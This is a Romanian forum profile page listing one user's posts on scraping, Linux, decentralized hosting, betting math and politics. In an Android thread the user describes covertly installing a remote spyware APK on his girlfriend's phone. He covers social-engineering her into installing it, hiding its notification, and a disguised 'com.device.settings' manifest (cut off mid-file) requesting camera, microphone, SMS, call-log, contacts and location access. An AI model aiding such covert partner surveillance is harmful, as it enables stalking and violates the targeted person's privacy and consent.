-
Posts
1451 -
Joined
-
Last visited
-
Days Won
10
Everything posted by Che
-
De ce? Ce are daca folosesti Selenium? Care e diferenta? Multumesc anticipat!
-
Am facut un script in Python care preia de pe Yahoo Finance diverse date despre stocks. In total sunt vreo 53.000 de companii. Probleme: Cand se opreste curentul trebuie sa rulezi iarasi scriptul de la inceput. -> Am rezolvat deja asta. I-am facut un log si preia de la ultimul log. Daca nu pica curentul ci internetul atunci ori imi scrie niste fisiere goale in loc sa fie cu informatii. Cum pot rezolva asta din moment ce unele companii chiar nu au informatii dar cand se intampla asta scrie un fisier gol si la cele care au info? Tot la fel, poate sa pice internetul si in loc de fisiere goale se blocheaza la accesarea informatiilor curente si practic sta asa la nesfarsit chiar daca internetul si-a revenit el pur si simplu arata "retrieveing..." si ramane asa blocat. Cum se poate rezolva asta? O alta chestie este atunci cand de la prea multe requesturi (sau server maintenance - nu pot sti exact de la ce) se intampla exact ca mai sus adica ramane blocat. Cum fac sa rezolv asta? Scriptul este unul banal care se gaseste la prima cautare pe google si care foloseste yfinance ca si modul in Python si cu un for loop face requesturi pe yfinance.info pentru a lua informatiile. Ma gandesc ca ar trebui un fel de network management care sa isi dea seama cand a picat internetul sau cand este serverul down, in maintenance sau refuza conexiunea de la prea multe requesturi (chiar daca nu sunt cu frecventa mare cred ca te monitorizeaza si li se aprind niste triggers cand vad 30.000 de accesari doar de la tine. Nu vreau sa ma complic cu proxy sau VPN. Apropo, cand se blocheaza scriptul, in oricare din situatiile de mai sus, tu nu esti blocat permanent fiindca cu o pauza sau/si un restart totul se rezolva doar ca trebuie sa stii cand este situatia fiindca nu poti da pauza si restart dupa fiecare request. Cum as putea sa rezolv aceste probleme? Multumesc mult de tot!
-
Adica tu vrei sa faci un server din telefon? Crezi ca face fata? Nu pica instantaneu de la doar cateva vizite simultane?
-
@Nytro @Kev @yoyois @lzomedia @Dragos M-am mai gandit la o varianta: Faci ceva asemanator cu Telegram doar ca in loc sa faci grupuri de chat care sa fie hostate pe un server sa poata fiecare face situri care sa fie hostate de toti utilizatorii care vor sa faca asta. Adica sa fim seriosi, majoritatea dintre noi zilnic intram doar pe anumite situri si doar cateva sunt noi si citim informatia si trecem mai departe. Mai exact, vizitezi un site de asta care este un fel de grup de chat transformat in site si daca iti place si te intereseaza dai "like" sau "host this site to your phone" si astfel cand persoana care a facut situl si care este autorul sitului respectiv (un blog de exemplu) poate fi si offline ca situl tot poate fi accesat fiindca este salvat pe telefoanele tuturor care au vrut sa faca asta. Bineinteles, totul sa fie salvat sub o forma criptata ca sa nu poti avea acces la fisierele sitului in sine ci doar la informatia respectiva. O partitie criptata creata de program sau orice alta metoda eficienta. Motorul de cautare sa fie insusi programul si sa poti cauta tot asa cum cauti si pe Telegram ceva. Probleme: 1. Sa zicem ca autorul blogului vrea sa faca o postare noua. Cum se va actualiza informatia pe toate telefoanele care hosteaza situl? 2. Cum s-ar putea proteja autorul acelui blog (sau orice fel de site ar fi el) ca initial de la el pleaca situl sa fie hostat pe celelalte telefoane? 3. Ar fi posibil asa ceva?
-
Salut! Este posibil sa faci un fel de site/forum/"internet" dar care sa fie complet anonim si complet criptat si nestocat nicaeri pe vreun server? Mai exact: Descarci o aplicatie de telefon cum e Telegram si dupa ce te-ai logat ai acces la diverse situri si iti poti crea chiar tu un site (blog, forum, orice, nu conteaza) dar care sa nu fie hostat nicaeri pe vreun server online, adica nu e ca in reteaua Tor cu situri hostate pe servere obscure si vine politia sau cine vine si BAM, gata ci pur si simplu tu poti accesa toate aceste situri dar nici unul din ele nu este stocat/hostat pe un server astfel incat NIMENI nu poate sti al cui este situl si nici al cui este serverul fiindca serverul nu exista. Si datele de logare sa fie stocate doar pe telefonul tau si atat dar tu sa poti fi identificat in reteaua respectiva odata ce te-ai logat ca fiind intotdeauna acelasi tu si doar daca vrei tu sa dai delete si sa o iei de la capat. Asta este necesar fiindca trebuie sa poti avea acces la propriile situri. Si identificarea sa se poate face doar printr-un certificat of trust generat de logarea pe telefon si nu de IP si de nimic care ar putea duce la localizarea ta reala. Cum s-ar putea face asta? Se poate face asa ceva? Stiu ca la un momentdat era un indian numit Siraj pe Youtube care posta filmulete despre AI si postase ceva cu internetul viitorului prin blockchain. Voi cum ati gandi problema ca sa fie realizabila? Ma gandesc ca prin blockchain nu ai avea destul spatiu pe telefon. Dar cum altfel ar trebui gandita toata treaba ca sa nu iti ocupe spatiu pe telefon din ce in ce mai mult? Multumesc anticipat!
-
Revin acum cu o interbare: Variantele propuse de voi sunt doar pentru citire din cate imi dau seama, dar daca vrei sa-l editezi, sa modifici ceva intr-un fisier asa de mare cum faci? Multumesc anticipat!
-
@Zatarra Daca ai bankroll de start 2000 si faci cate un bet/zi de 100 RON inseamna ca tu respecti un bankroll management (cum este si la poker) de 20:1. Prin urmare trebuie sa ajustezi urmatoarele lucruri: Trebuie sa ajusteze BRM-ul (bankroll management-ul) in functie de cati bani are asta inseamna sa-l creasca sau sa-l scada in functie de cat este rezultatul bankroll : 20. Si cand are 3500 de lei inseamna ca va trebui sa parieze 3500:20 = 175, de asemenea chiar de la primul pariu daca a pierdut si din 2000 are 1900 asta inseamna ca nu va trebui sa parieze tot 100 ci 1900:20 = 95. Nu-i diferenta mare dar conteaza si de asemenea conteaza foarte mult si taxele ca offline platesti si cand pui banii dar si cand iti incasezi castigul si taxele sunt in functie de suma castigata (nu mai stiu cat este dar daca este cu 3 nivele si daca este sub X atunci este X%, apoi daca este intre suma a si b este Y% si daca depaseste suma c iti opreste Z%) si toate astea conteaza dar le poti evita in cod de dragul teoriei dar ar trebui implementata chestia asta fiindca este interesant sa vezi cum este in realitate. Ar trebui sa poti ajusta BRM-ul ca poate nu vrei sa faci 20:1 ci poate vrei sa fii mai precaut si sa faci 30:1 sau chiar si 50:1 am auzit pe unii. Si inca o chestie, ar trebui sa bagi si varianta combinata ca de exemplu unii pot fi mai relaxati in BRM cand au mai putini bani si sa aplice 20:1 sau poate chiar 15:1 iar cand au adunat un bankroll frumos incep sa fie mai precauti si mai zgarciti cu banii castigati si brusc incep sa aplice 30:1 sau chiar 50:1 ca acum au bani de care le pasa daca ii pierd. Ar fi chiar super sa incerci si asta sa implementezi in cod sa vezi la ce rezultat ajungi (plus sa poti seta tu nivelul de la care incepe sa se zgarceasca si sa schimbe de la 20:1 la 30:1 sau 50:1). Trebuie sa poti sa setezi maximum de rezultate pierzatoare consecutive fiindca random iti poate da 30 de rezultate pierzatoare consecutive de exemplu dar in realitate nu pierzi chiar de 30 de ori la rand cu o cota de 1.20 si aici rezultatele nu prea se pupa. Trebuie sa iei un site de pariuri si sa te uiti la fotbal la toate rezultatele consecutive de 1.20 si sa vezi cam cate sunt maxim pierzatoare la rand si cate sunt maxim castigatoare la rand ca in realitate nici reversul nu prea este si nu castigi de 30 de ori la rand cu o cota de 1.20 deci trebuie la ambele setat cam cat sa fie. Stiu ca e probabilitati etc. dar in realitate nu e chiar asa. Uite cat mi-a iesit doar de la a treia incercare fara sa modific ceva in cod: Ar trebui formatat in ani, luni si zile ca sa stii cat inseamna 458731 days. Este foarte interesant subiectul!
-
Am descoperit Zorin OS Pro si pot sa spun ca am ramas uimit. Pur si simplu zboara. Ruleaza si de le USB in timp ce altor distributii le ia o vesnicie numai sa ajunga la logon screen. Este optimizat la perfectie si facut foarte frumos. Imi place mult si ma gandesc sa trec pe Linux definitiv fara sa ma mai complic cu Windows cu programe piratate si rahaturi, cu virusi si alte prostii. Imi place ca e frumos si curat si se misca brici. Foloseste cineva Linux in mod curent, fara dual boot cu Windows, fara live CD si fara alt OS? Acum intrebarea mea este daca folositi si alt OS pe langa Linux de faceti asta? Ce anume aveti nevoie din Windows si nu gasiti la fel de bun sau mai bun in Linux fiindca nu as vrea sa ma complic cu formatat si instalat mutat tot ce am pe alt HDD si chestii si apoi sa descopar ca tot mai bun era Windows? Multumesc mult pentru sfaturi!
-
Ce sistem de operare folositi in mod curent?
Che replied to Che's topic in Sisteme de operare si discutii hardware
Cum poti face Fedora sa arate si sa se miste ca si Zorin OS si fara sa-l incarci cu programe inutile astfel consumul in standby sa fie agresiv? Multumesc anticipat! -
Am incercat mai demult sa deschid niste fisiere de text foarte mari, de genul 35Gb pe Windows cu Notepad++ care e de laudat la orice altceva doar la asta nu. Eu am doar 8Gb RAM si pot sa spun ca se blocheaza. Stiu ca am incercat si la fisiere mai mici de ~5Gb si tot se blocheaza sau daca il lasi dureaza o vesnicie pana le deschide. Am descoperit ca exista un program numit EmEditor care deschide pur si simplu fisiere asa de mari si chiar indiferent cat de mari ar fi si le deschide pe bucati, practic incarca in memorie atat cat trebuie fara sa setezi tu nimic si iti face display la datele incarcate si apoi daca dai scroll iti incarca urmatoarele date si tot asa. Si, mai mult de atat, e destept facut ca tu daca tot incarci, pe masura ce incarci iti sterge din memorie ce a incarcat initial ca astfel tu poti sa dai scroll la sfarsitul fisierului dar in memorie ai tot atata si nu ai memoria blocata cu toti cei 35Gb. In plus, pe langa toate astea are si syntax highlighting si plugins si de toate. Acuma, intrebarea mea este: exista asa ceva si pe Linux? Multumesc mult!
-
Pai am zis ca scapam de toti astia si poporul da legi si tot poporul voteaza pentru varianta care implica banii sa fie IQ * bani iar pentru social sa fie doar IQ ca nu am zis si asta iar referitor la a doua parte sa aiba drept de vot oricine, indiferent de varsta, rasa, religie, minoritate de orice fel etc. dar doar care a trait cel putin 20 de ani daca nu este nascut in Romania sau orice varsta daca familia lui este din Romania si traieste in Romania si el/ea este neascut(a) in Romania. Prin urmare gigantii pe care i-ai pomenit nu ar avea ce sa faca. Legile trebuie sa fie date de romani pentru romani nu de straini pentru romani sau de cei care nu traiesc in aceasta tara sau nu au trait indeajuns ca sa isi dea seama de problemele acestei tari. Crede-ma ca atat timp cat sunt care isi verifica vecinii si cunoscutii pe Facebook sau si-i pandesc pe vizor ca sa vada la ce ore vin si la ce ora pleaca vor fi intotdeauna care vor face treaba asta. Si chiar de nu va fi tot va fi un lucru bun fiindca legile nu vor mai fi facute pe interes ci din necesitate si ca sa rezolve o problema si asta va face sa se selectelze doar oameni bine intentionati fiindca indiferent ce lege propui si indiferent de ce IQ ai daca nu este votata de restul populatiei atunci tot nu reusesti sa-ti dai tu legi care sa te favorizeze doar pe tine. Si vei face asta avand in vedere ca ele nu traiesc in Romania dar tu da? Si chiar daca faci este foarte posibil sa nu o voteze ceilalti. Si daca faci asta poate nu ai IQ-ul destul de mare si asta inseamna ca e un lucru bun ca votarea legii sa fie in functie de IQ sau de IQ * bani ca asa nu pot da si vota legi aia cu IQ scazut ca sa sufere toti ceilalti si cu IQ mare si nu numai din cauza lor. Se pot face si exceptii desi in Romania cica sunt destui handicapati care sunt nevazatori si ei conduc masini (nu vreau sa fac pacate si sa vorbesc prostii dar asa am auzit, poate nu-i adevarat, nu stiu) sau multi alti bolnavi inventati si numarul acestora poate este mult mai mic si poate este mai suportabil. Oricum, scutirea acestora nu va fi o problema fiindca se vor aduna bani mult mai multi din contributii pe varianta asta cu tratament preferential in functie de cat contribui. Doamne Fereste! Dar raspunsul este: bai sa stii ca DA! Chiar asta fac si in momentul de fata: astept la coada si nu ma bag in fata. Adica ce-i daca iti astepti randul ca sa beneficiezi de un serviciu pentru care NU ai contribuit? Macar beneficiezi de acel serviciu. Sper sa nu vorbesc prostii dar mi se pare normal desi pare crud ceea ce zic. Si nu zic sa fii lasat sa mori dar sa-ti astepti randul. Si la cati bani se vor strange gandeste-te ca nu vei avea de asteptat ca se vor face noi si noi si noi spitale si mai mari si cu acces mai rapid. La cati bani se vor strange nu va fi problema asta de murit asteptand. Si mi se pare normal ca daca ei cotizeaza mai mult atunci sa intre in fata. Este un serviciu pe care ei si l-au cumparat si nu vad de ce as face eu gat pentru ceva ce ti-ai cumparat tu. Si chiar cred ca nu va fi aceasta problema fiindca vor fi si mai multi doctori si mai multe spitale si chiar si calitatea serviciilor se va schimba. Te vei intreba atunci daca cotizezi mai mult si toata lumea o duce bine atunci de ce sa mai cotizezi? E simplu, sistemul se autoregleaza de la sine si cum nu mai sunt bani se revine treptat la forma actuala si asta se va putea vedea si cu cohiul liber. Sincer nu mi se pare normal si uman un sistem de tip american in care mori daca nu ai bani si cred ca ar trebui sa existe si exceptii in cazul urgentelor imediat amenintatoare de viata, a persoanelor cu handicap care NU pot astepta si a celor cu boli grave. Stiu ca suna a struto-camila ceea ce zic dar cam asta este solutia. Nu este normal un sistem american cu capitalism salbatic in care se dau in judecata unii pe altii pentru orice si in care mori daca nu ai bani si vorbim de foarte multi bani. O tara sanatoasa se bazeaza pe dragoste intre cetatenii sai de asta legile nu trebuie date din obligatie ci din necesitate si intelegere si trebuie sa avem grija unii de altii dar cam atat, fara pensii speciale si superspeciale si trasnet sau de care mai sunt, fara categorii favorizate, fara pile, spaga si nepotism, fara ajutoare sociale si as zice si fara pensii de astea normale adica sa nu se mai opreasca contributia pentru pensii si fiecare sa-si puna banii deoparte si sa faca ce-l taie capul ca daca ai ajuns pana la 50-60 de ani si nu ai strans nici un ban atunci iti meriti soarta avand in vedere ca sunt in ziua de azi si boschetari cersetori care isi strang un ban si tu nu poti. Logica este dezvoltarea pe cat posibil a economiei nationale proprii si sustenabile fara sa depinzi de corporatiile externe ca sa nu trebuiasca sa joci cum iti canta ele si sa stii ca chestia asta se intampla deja prin mai multe tari. Aha, da, sigur ca da. De asta activeaza in tara X dar platesc 0 taxe fiindca figureaza in nu stiu ce offshore sau de asta isi declara profituri zero sau un leu (cauta pe net si vezi). Dacia s-ar putea confisca pur si simplu ca si asa mai toate marile firme romanesti au fost vandute pe un leu, practic facute cadou ca sa putem intra in UE buni ca forta de munca si prin urmare confiscarea acestora pare o idee buna, asta daca mai ai ce confiscare sa faci. Si asa firmele astea de care zici foarte posibil ca nu isi platesc angajatii cu salarii la nivel de IT ci poate doar minimum pe economie, nu stiu, prin urmare nu ar fi mare pierdere. Si cei concediati vor fi angajati in industria romaneasca ce va incepe sa traga prima gura de aer si sa se dezvolte in acele momente.
-
Stergerea permisiunilor inlatura si functionalitatea in Android?
Che replied to Che's topic in Programare
Pai asta e, ca nu am acces. De fiecare data cand ne intanlim si imi da telefonul sa imi arate ce poze a facut sau ceva, se intampla doar de fata cu ea si ce este mai ciudat este ca inainte sa mi-l dea verifica ceva prin telefon si apoi mi-l da. Uneori mi se pare ca si sterge ceva dar nu sunt sigur. Asta se sterge singur dupa ce ai dat click pe el si nu ai nici un shortcut ca sa iti dai seama. Singura chestie este ca apare o notificare in bara de sus care dispare doar daca ii dai tu din setari sa nu ti-o mai arate deci nu stiu cum sa fac ca m-am gandit si la asta si isi da seama orice prost ca ceva nu-i in regula daca dupa ce i-ai dat tu un programel sa-l instaleze ca sa vada cum e pe urma apare ceva notificare cu exact acelasi icon ca si apk-ul pe care tocmai i l-ai dat tu si trebuie sa umble in setari ca sa dea disable la acea notificare. Prin urmare, trebuie sa mai invat si ceva inginerie sociala ca sa poata sa instaleze apk-ul si trebuie sa fac cumva sa nu apara notificarea. M-am gandit ca as putea sa fac chiar eu asta si sa-i zic ca ii instalez nu stiu ce aplicatie faina dar chestia este ca de multe ori nu vrea sa-mi dea telefonul (asta desi inainte mi-l dadea - un alt lucru ciudat si care te face sa fii suspicios). -
@yoyois Personal cred ca nu poti face absolut nimic cu sistemul asta care este acum fiindca toate elementele puterii in stat sunt diluate maxim posibil si o data cu asta si responsabilitatea. Scopul fiind acela de divide et impera adica de subordonare. Daca ceva nu merge bine fiecare arata cu degetul spre altul ca ala se ocupa cu asa ceva iar ala la randul lui face la fel si tot asa. Ca sa existe o scapare ar trebui un sistem bazat 100% pe meritocratie iar sistemul de vot sa fie diferit, mai exact impartit in doua: 1. Cenzitar + IQ atunci cand trebuie sa se voteze o lege care implica banii. Puterea fiecarui vot fiind data de taxele colectate de la acea persoana * IQ-ul acelei persoane fiindca poti fi bogat si prost si atunci distrugi tot sau bogat dar sa nu platesti taxe si atunci nu vad de ce ai decide tu ce sa se faca cu banii stransi de catre stat din taxe din moment ce tu nu ai pus nici un ban acolo. 2. Social/Moral -> atunci cand se voteaza legi care au legatura cu societatea si moralitatea gen pedepsirea hotilor/criminalilor etc. Parlamentul si guvernul sa nu mai existe si oamenii sa poata propune legi chiar de pe telefonul mobil si tot ei sa le voteze. Gnaditi-va ca sunt copii geniali care ar putea veni cu idei frumoase. Presedintele sa aibe rolul de mascota pe care il are si in ziua de azi dar sa nu mai aiba drept la gratieri. Pedepsele duble sau chiar triple pentru cei din sistemul bugetar (doctori, politisti, procurori, judecatori etc.) si daca ai fost prins sa se confiste tot cu dobanda plus nu mai ai dreptul la pensie. Dreptul la sanatate si la serviciile sociale (exculs justitie) sa fie in functie de contributie fiindca nu e normal sa cotizezi luna de luna, ani de zile si sa nu ai nevoie de nimic iar cand ai nevoie sa nu fie de unde sau sa trebuiasca sa astepti dupa asistati social chiar si un an de zile pana iti vine randul. Iar doctorii daca nu respecta asta automat penalizati. Fiecare sa aiba un card colorat specific in functie de contriubutie si cum ai ajuns la spital sa bagi cardul pe hol si in functie de culoare sa ai prioritate, nu ai culoare potrivita stai la coada iar daca cotizezi intri in fata fiindca tu contezi pentru sistem. Si nu stiu daca nu cumva ar trebui sa intri si in fata urgentelor daca acestea au o culoare mai mica, astfel toti vor fi motivati sa cotizeze si sa-si declare veniturile sau sa munceasca mai mult si astfel sa se ridice socitatea. Corporatiile si toate firmele straine sa fie taxate mult mai mult decat cele locale care ar putea fi chiar si netaxate o perioada de inceput pentru incurajare.
-
Sunt care pleaca si au plecat si la 50. Tu la 30 te crezi batran?!... Zici cumva ceva asemanator cu ce zicea si @Nytro mai sus. Problema este ca peste 50 de ani tu cati ani o sa ai? Cu ce te mai ajuta schimbarea care va mai avea loc peste 30-50-100 de ani? Cu ce te mai ajuta ca tot in atatia ani padurile taiate vor creste la loc? Esti fericit ACUM in Romania? (Vorbesc la modul general nu cu cineva anume.) De ce sa fii fericit peste 30-50-100 de ani cand poti fi fericit acum?
-
Ce sistem de operare folositi in mod curent?
Che replied to Che's topic in Sisteme de operare si discutii hardware
Pe scurt, ce vreau sa aflu este daca este cineva pe aici daca foloseste Linux tot timpul si face platit pe internet folosind Linux si cate de sigur este sa face asta de pe o distributie Linux? Intreb fiindca am gasit 3 distributii care imi plac foarte mult si parca mi-as cam baga piciorul in el de Windows. Elementary OS: m-am jucat putin cu el pe live USB si e foarte frumos dar mai are momente cand face cate un crash la cate ceva. Zorin OS: pare si mai frumos. Nu l-am incercat si nu stiu. Vad ca unii zic pe Youtube ca mai are si asta cate un crash uneori dar macar se ocupa cineva de el ca aia sunt platiti sa faca asta. Pare oarecum mai safe ca si utilizare de zi cu zi tocmai datorita faptului ca trebuie sa platesti pentru versiunea PRO (pe care oricum o gasesti pe net daca o cauti mai cu atentie). Fedora: Absolut nici o problema. Totul este asa cum ar trebui sa fie. Totul este foarte stabil si merge la perfectie de bine. Si este si inuitiv in tot plus ca in terminal daca scrii ceva te intreaba daca nu cumva ai vrut sa scrii altceva de fapt si asta imi place mult fiindca spre exemplu am scris htop si nu-l avea instalat si automat m-a intrebat daca nu cumva am vrut sa scriu top care face acelasi lucru. Asta este super ca nu trebuie sa cauti pe net pentru probleme marunte. Si ceea ce imi place cel mai mult este ca distributiile se actualizeaza una peste alta adica daca apare Fedora 32 tu poti sa o instalezi automat peste si pe 33 la fel si pe 34 la fel si pe 35 la fel in schimb la cele de mai sus daca apare o noua versiune pai tu trebuie sa formatezi si sa instalezi tot pe curat ceea ce e deranjant fiindca tu poate ti-l personalizezi si nu ai chef sa schimbi iarasi setarile si sa faci ce modificari mai trebuie. Ce e cam naspa la Fedora este ca e cam urata ca si interfata comparativ cu celelalte parca este din 1990. Si nici nu e Debian based si nu merge cu comenzile pe care le-ai invatat pana acum. -
Stergerea permisiunilor inlatura si functionalitatea in Android?
Che replied to Che's topic in Programare
Nu pentru mine. Vreau sa vad daca prietena mai are si pe altcineva fiindca observ niste modificari in comportament. In acelasi timp ma gandesc ca poate nu e nimeni dar nu as vrea sa-i vina abonamentul la telefon cateva mii de euro de platit, plus ca mai mult ca sigur se duce la politie si pe urma am eu probleme. Trebuie sa folosesc NOIP ca pe RDS e IP dinamic si la nevoie automat se afla ce si cum si pe urma intru si la incalcarea legii doar fiindca am vrut sa nu fiu luat de fraier. Am vazut ca s-a mai pus aceasta problema pe forum dar stii cum e, ti se pare oarecum amuzant cand vezi pe unul in situatia asta fiindca tu crezi ca tie nu are cum sa ti se intample dar cand ti se intampla tie atunci parca nu mai e asa de "funny". -
Cum zice si titlul: Ce sitem de operare folositi in mod curent? De ce nu folositi altceva? Ati facut plati online de pe sistemul de operare pe care il folositi acum in mod curent? Cum va asigurati ca nu aveti RAT/Spyware/Keyloggers etc. care sa va fure datele? Pe linux cum va puteti asigura de asa ceva cand faceti plati online stiind ca poate sunt programe care sunt ascunse de top/htop/tasklists la fel cum sunt si pe Windows cele care nu pot fi vazute in TaskManager?
-
Stergerea permisiunilor inlatura si functionalitatea in Android?
Che replied to Che's topic in Programare
@dancezar @gigiRoman Dar din cate stiu chestia cu apelurile suprataxabile se puteau face doar daca erai pe abonament si nu pe cartela. Ma gandesc ca poate face acelasi lucru si in acest caz si detecteaza daca este emulator (chiar are o functie care verifica emulator dar care este injectata la build ca in codul sursa al proiectului in C# nu apare si se vede doar la decompilare) si/sau daca e pe SIM nu merge. Stiu ca si de sunat la concursurile alea de pe vremuri de pe la TV cu numere cu suprataxa daca erai pe cartela nu mergea sa suni dar in schimb la abonament te tineau cat mai mult la telefon. Daca e asa cum fac? Multumesc mult! L.E.: Spre exemplu asta apare la decompilarea fisierului apk (si functiile astea NU apare deloc in proiectul din C#, nici al serverului si nici al clientului, deci sunt injectate cumva de apar la decompilare). package mono; import android.app.Application; import android.content.Context; import android.content.IntentFilter; import android.content.pm.ApplicationInfo; import android.os.Build; import java.util.Locale; import mono.android.BuildConfig; import mono.android.DebugRuntime; import mono.android.Runtime; import mono.android.app.ApplicationRegistration; import mono.android.app.NotifyTimeZoneChanges; public class MonoPackageManager { static Context Context; static boolean initialized; static Object lock = new Object(); public static void setContext(Context context) { } public static void LoadApplication(Context context, ApplicationInfo applicationInfo, String[] strArr) { synchronized (lock) { if (context instanceof Application) { Context = context; } if (!initialized) { context.registerReceiver(new NotifyTimeZoneChanges(), new IntentFilter("android.intent.action.TIMEZONE_CHANGED")); Locale locale = Locale.getDefault(); String str = locale.getLanguage() + "-" + locale.getCountry(); String absolutePath = context.getFilesDir().getAbsolutePath(); String absolutePath2 = context.getCacheDir().getAbsolutePath(); String nativeLibraryPath = getNativeLibraryPath(context); ClassLoader classLoader = context.getClassLoader(); String nativeLibraryPath2 = getNativeLibraryPath(applicationInfo); String[] strArr2 = {absolutePath, absolutePath2, nativeLibraryPath}; if (BuildConfig.Debug) { System.loadLibrary("xamarin-debug-app-helper"); DebugRuntime.init(strArr, nativeLibraryPath2, strArr2); } else { System.loadLibrary("monosgen-2.0"); } System.loadLibrary("xamarin-app"); if (!BuildConfig.DotNetRuntime) { System.loadLibrary("mono-native"); } System.loadLibrary("monodroid"); Runtime.initInternal(str, strArr, nativeLibraryPath2, strArr2, classLoader, MonoPackageManager_Resources.Assemblies, Build.VERSION.SDK_INT, isEmulator()); ApplicationRegistration.registerApplications(); initialized = true; } } } static boolean isEmulator() { String str = Build.HARDWARE; return str.contains("ranchu") || str.contains("goldfish"); } static String getNativeLibraryPath(Context context) { return getNativeLibraryPath(context.getApplicationInfo()); } static String getNativeLibraryPath(ApplicationInfo applicationInfo) { if (Build.VERSION.SDK_INT >= 9) { return applicationInfo.nativeLibraryDir; } return applicationInfo.dataDir + "/lib"; } public static String[] getAssemblies() { return MonoPackageManager_Resources.Assemblies; } public static String[] getDependencies() { return MonoPackageManager_Resources.Dependencies; } } Dupa cum vedeti in acest fisier apare urmatoarea linie de cod: Runtime.initInternal(str, strArr, nativeLibraryPath2, strArr2, classLoader, MonoPackageManager_Resources.Assemblies, Build.VERSION.SDK_INT, isEmulator()); Care cere ca parametru isEmulator() care este mai jos: static boolean isEmulator() { String str = Build.HARDWARE; return str.contains("ranchu") || str.contains("goldfish"); } Ce vrea sa detecteze mai exact si de ce il intereseaza daca este in emulator sau nu si cum se face ca apare doar la decompilare acest cod? -
De ce zici asta? I-am citit PM-ul doar ca programul despre care zice el este cu plata. Eu credeam initial ca lui i-au aparut in rezultate ceva cu "bypass asking for permissions in Android" de asta am zis ca mie nu-mi apare asa ceva si ceream detalii.
-
Stergerea permisiunilor inlatura si functionalitatea in Android?
Che replied to Che's topic in Programare
In caz ca nu stii erau acele numere de telefon (si sunt si acum doar ca nu prea se mai mediatizeaza) care iti dadeau beep si daca sunai inapoi nu se auzea nimic sau se auzea un robot care vorbea ceva banalitati dar cel care suna inapoi trebuia apoi sa plateasca cateva mii de euro fiindca a sunat la numarul respectiv (cu taxa inversa as zice eu ca se cheama - daca stii altfel atunci te rog sa spui ca poate nu se cheama asa - doar ca nu te intreba nimeni la capatul celalalt daca erai de acord cu vreun apel cu taxa inversa ci doar erai taxat). Bineinteles ca o mare parte din bani ii reveneau celui care a pus totul la cale. Vreau sa previn chestia asta care este foarte posibila sa fie si cu SMS si nu doar cu apeluri vocale. @Nytro @gigiRoman @AlStar @theandruala @bio.sh Ce parere aveti? Daca ma puteti ajuta cu chestia asta, va rog. Multumesc mult! -
Da? Si ce faci ca sa nu-ti mai vina gazul mai mult? Cum te opui tu personal? Iesi in strada? Si? Ce rezolvi cu iesitul in strada? S-a rezolvat ceva vreodata cu iesitul in strada? Vinovatii din 11 august au fost vreodata trasi la raspundere? S-a facut vreodata ceva? Ce? Daca la iarna te vor pune astia sa platesti gazul nu dublu ci triplu ce faci concret? Ce faci daca iti vine si de zece ori mai mult? Faci ceva? Ce faci? Stiu, economie, asta faci dar concret nimeni nu va face nimic niciodata. Nu ma intelege gresit, nu sunt rautacios in nici un fel doar ca vreau sa-ti arat ca sunteti multi care vreti sa luptati impotriva sistemului dar intotdeauna veti ajunge la concluzia ca sunteti doar niste idealisti, niste visatori. Si nu e nimic rau in asta doar ca nu se aplica si in viata reala. In viata reala nu te poti bate cu sistemul. Si cum i-a rasplatit totusi pe cei care s-au batut cu sistemul poporul roman? Pai sa vedem... pe Mihai Viteazul l-au tradat si decapitat, pe Cuza l-au fortat sa abdice, pe oricine vrei tu care a vrut sa faca ceva bun sau a facut ceva bun poporul roman l-a belit drept rasplata ca apoi sa poata plange dupa el ca era bun.
-
Stergerea permisiunilor inlatura si functionalitatea in Android?
Che replied to Che's topic in Programare
Tot asa este si la versiunile mai vechi de Android sau la cele mai vechi poate face bypass cu usurinta ca de exemplu in emulator pe Android 7 nici nu te intreaba daca accepti permisiunile in timp ce pe Android 11 de pe telefonul adevarat nici macar nu te lasa sa o instalezi ca zice ca e virus ca vrea phone calls si alte chestii? Targetul este un telefon cu Android mai vechi si din moment ce la versiunea 7 de pe emulator (Nox Player) nici macar nu te intreaba de permisiuni ma gandesc ca poate face bypass si functiile tot se executa chiar daca nu sunt permisiunile, nu? Ce parere ai? Intreb fiindca nu as vrea sa au apoi de facturi de 1000+ de euro pentru apeluri pe care nu le-a facut nimeni. Multumesc mult! -
Am acest program de monitorizare/spinoaj pe Android. Genereaza acel programel cu setarile pe care le vrei dar as vrea sa ii anulez functiile de send SMS si SEND CALL fiindca nu vreau sa ma trezesc ca face apeluri SMS/CALLS pe numere de alea cu taxa inversa de care iti vine sa platesti o gramada de bani (gen mii de euro). I-am editat permisiunile din AndroidManifest.xml si i-am sters pur si simplu permisiunile de SEND_SMS si CALL_PHONE dar functiile din C# i-au ramas. Asa ca m-am gandit sa-i sterg si functiile care se ocupa cu dat SMS si facut apeluri telefonice. Le-am gasit, le-am sters dar faza e ca acum nu ruleaza nici pe telefon real si nici in emulator. Adica se instaleaza dar nu se contecteaza la server desi nu i-am sters functia de conectare la server. Banuiesc ca atunci cand ii dai BUILD verifica daca i-ai sters functiile astea si il compileaza in aasa fel incat sa nu se conecteze la server. Varianta in care i-am sters doar permsiunile din AndroidManifest.xml merge perfect si de asta ma gandesc sa o folosesc pe asta doar cu AndroidManifest.xml modificat dar ma gandesc chiar nu va putea trimite SMS/CALLS? Asa arata Androidmanifest.xml modificat: <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="10" android:versionName="6.7.3" package="com.device.settings" android:installLocation="auto"> <uses-sdk android:minSdkVersion="16" android:targetSdkVersion="22" /> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> <uses-permission android:name="android.permission.WAKE_LOCK" /> <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.accessibilityservice.AccessibilityService" /> <uses-permission android:name="android.permission.CAMERA" /> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> <uses-permission android:name="android.permission.FOREGROUND_SERVICE" /> <uses-permission android:name="android.provider.Telephony.READ_SMS" /> <uses-permission android:name="android.permission.READ_CALL_LOG" /> <uses-permission android:name="android.permission.READ_SMS" /> <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" /> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> <uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS" /> <uses-permission android:name="android.permission.ACCESS_MOCK_LOCATION" /> <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" /> <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" /> <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" /> <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS" /> <uses-permission android:name="android.permission.RECORD_AUDIO" /> <uses-permission android:name="android.permission.READ_CONTACTS" /> <uses-permission 